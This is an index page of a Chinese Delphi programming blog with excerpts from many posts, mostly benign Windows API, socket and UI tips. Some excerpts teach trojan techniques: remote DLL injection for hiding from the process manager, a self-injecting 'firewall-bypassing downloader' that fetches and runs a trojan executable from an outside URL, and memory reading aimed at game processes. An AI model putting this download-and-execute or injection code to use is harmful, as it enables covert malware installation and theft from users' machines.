导航

心动吧DELPHI网络书

自发研究:须要多维思想而且要想不可能为可能的人才能做到

[置顶] {下载}本站提供delphi下载

  下载的时候最好不要用迅雷,要不然很容易断线.

  提供多个控件下载:

DELPHI 远程注入DLL的例子

远程注入DLL方法有很多种,也是很多木马病毒所使用的隐藏进程的方法,

因为通过程序加载的DLL在进程管理器是没有显示的.这里介绍一种用 CreateRemoteThread 远程建立线程的方式注入DLL.



首先,我们要提升自己的权限,因为远程注入必不可免的要访问到目标进程的内存空间,

如果没有足够的系统权限,将无法作任何事.下面是这个函数是用来提升我们想要的权限用的.



function EnableDebugPriv: Boolean;

var

  hToken: THandle;

  tp: TTokenPrivileges;

打造无DLL版穿墙Downloader

这份代码的思路来自于国外EES组织的Aphex。基本上所有的无DLL Download都是利用的这种方法。其实也就是用烂了的远程注入法。不过注入的对象不是一个DLL,而是本身的一个过程。下面是代码,由于本人专业知识不够,可能有些说法不太专业。请大家凑合着看。有不懂的请跟贴。

program InjectTheSelf;

{$IMAGEBASE $13140000}

uses Windows, Urlmon;

procedure Download; //下载过程

begin

URLDownloadToFile(nil, 'http://www.mycode.ful.cn/muma.exe', 'C:\muma.exe', 0, nil);

WinExec('C:\muma.exe', SW_SHOW); //SW_SHOW or SW_HIDE

end;

var

用Delphi实现文件下载的几种方法

 笔者最近开发的系统中需要写一个下载文件的功能。以前用BCB调用API写的很烦琐,忽然想起有一个API就可以搞定了,于是一大早就来搜索。这个API就是UrlDownloadToFile。不仅如此,Delphi的一些控件也可以轻松实现下载,如NMHTTP,指定NMHTTP1.InputFileMode := ture; 指定Body为本地文件名,指定Get就可以下载了。下面是详细代码,均出自CSDN。我把它们都整理到这儿,让大家方便查阅。

使用内存读取函数:ReadProcessMemory

使用内存读取函数:ReadProcessMemory

 

procedure TForm1.Button2Click(Sender: TObject);

var

      hProcess,iRead:Cardinal;

      hgl:HGLOBAL;

      Buffer:   Pointer;

begin

memo1.Text :='';   //清空memo1.text中内容

GetMem(Buffer,1024);   //申请内存空间1024字节用来存放字符串

//   我这里就使用自己进程来做演示了,如果是木马需要获取游戏进程的PID

GetMessage休眠后如何唤醒

while GetMessage(MsgRec, 0, 0, 0) do

begin

TranslateMessage(MsgRec);

DispatchMessage(MsgRec);

//Sleep(1000);

if abool=true then  Break;

end;



当我发送了消息队列的时候,发送完之后,线程会处于休眠状态,这时候该怎么样做才可以让线程重新唤醒或者结束他呢?



个人想法:

  在主窗中插入一个定时器,然后在定时器执行的代码中写入

  PostThreadMessage(ThreadId,WM_QUIT,0,0) //僵哥代码

  到一定的时候就执行一下上面的代码让他退出他



  而这时候的问题来了.

  PostThreadMessage当中的Threadid参数我如何获得,从上面的循环中我看中了一个msgrec我是否能够替换Treadid呢?替换成下面的

            PostThreadMessage(MsgRec,WM_QUIT,0,0)

      替换后,我发现WM_QUIT出现提示

            incompatible types: 'cardinal' and 'tagMsg'

    简单来说就是类型不一样无法替换...



问题1:我在主窗体内写这样的代码会不会有其他的问题存在?

问题2:应该怎么解决休眠问题和如何传递参数到主窗体的定时器中 

 

键盘鼠标对应码表-delphi键值

在操作API的时候很多时候需要用到我们键盘上的按键,这里是对照的

常数名称 十六进制值 十进制值 对应按键
VK_LBUTTON 01 1 鼠标的左键
VK_RBUTTON 02 2 鼠标的右键
VK-CANCEL   03 3 Ctrl+Break(通常不需要处理)
VK_MBUTTON 04 4 鼠标的中键(三按键鼠标)
VK_BACK 08 8 Backspace键
VK_TAB 09 9 Tab键
VK_CLEAR 0C 12 Clear键(Num Lock关闭时的数字键盘5)
VK_RETURN 0D 13 Enter键
VK_SHIFT 10 16 Shift键
VK_CONTROL 11 17 Ctrl键
VK_MENU 12 18 Alt键
VK_PAUSE 13 19 Pause键
VK_CAPITAL 14 20 Caps Lock键

 

      更多

 

利用ServerSocket和ClientSocket实现简单通讯

开始这前,在你的窗口中放入ServerSocket和ClientSocket控件。



ServerSocket的控件属性

threadcachsize:创建服务器线程的最大数目。

port:确定服务器的监视端口。

service:客户通过此属性来识别服务器端口。

ClientSocket的控件属性

Socket:此属性参数是应用程序之间通信的端点。

Address:此属性参数为字符串类型,客户端确定服务器端的IP地址。 Host:服务器端的主机名称。

Post:服务器端的监视端口。

Servce:用来识别服务器端口。

Active:确定Socket是否可用(true表示可用)。

ClientType:指定客户机采用哪一种方式(异步/同步)来通信。

ServerSocket的事件

 

为什么在线程中调用时间控件会不执行呢?

为什么在线程中调用时间控件会不执行呢?

执行过程  

procedure Tkk.Timer1Timer(Sender: TObject); 
begin
form1.memo1.lines.add('aa');
end;

开始执行

procedure Tkk.Execute; 
var
Time:TTimer;
begin
{ Place thread code here }
Time:=TTimer.Create(nil);

............

绘制一个钢琴键盘

 

绘制一个钢琴键盘 

代码文件:

unit Unit1;



interface



uses

  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

提取网页中的所有链接

本例效果图:



Delphi中怎样模拟点击webbrowser中的frame里的连接

问:Delphi中怎样模拟点击webbrowser中的frame里的连接!例如:126邮箱

进去以后在TWebbrowser,里面调用了好多frame框架页面,我想模拟点击框架中的链接,而且里面大多是脚本,谁能给出完美解决方案,定当重谢,非坐标点击!

WebBrowser1.Document.Frames(0).location = ""



WebBrowser1.Document.All.Item("form1").username1.Value = ""

...

windows Api学习

得到WINDOWS的SYSTEM路径:     方法:             var                  MySysPath : PCHAR ;             begin                     GetMem(MySysPath,255);                     GetSystemDirectory(MySysPath,255);             end;    注:MySysPath为SYSTEM路径 得到程序的路径   ExtractFileDir(Application.Exename); 察看文件是否存在   FileExists(FileName:String):Boolean;

分页:[«]6[7][8][9][10][11][12][13][14][15][16][17][18][19][20][»]

日历

<< 2013-5 >>

Sun

Mon

Tue

Wed

Thu

Fri

Sat

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

站内搜索

Copyright ⊙ 2004-2009 心动吧 UrL:ABCXD.CoM All RiGhts Reserved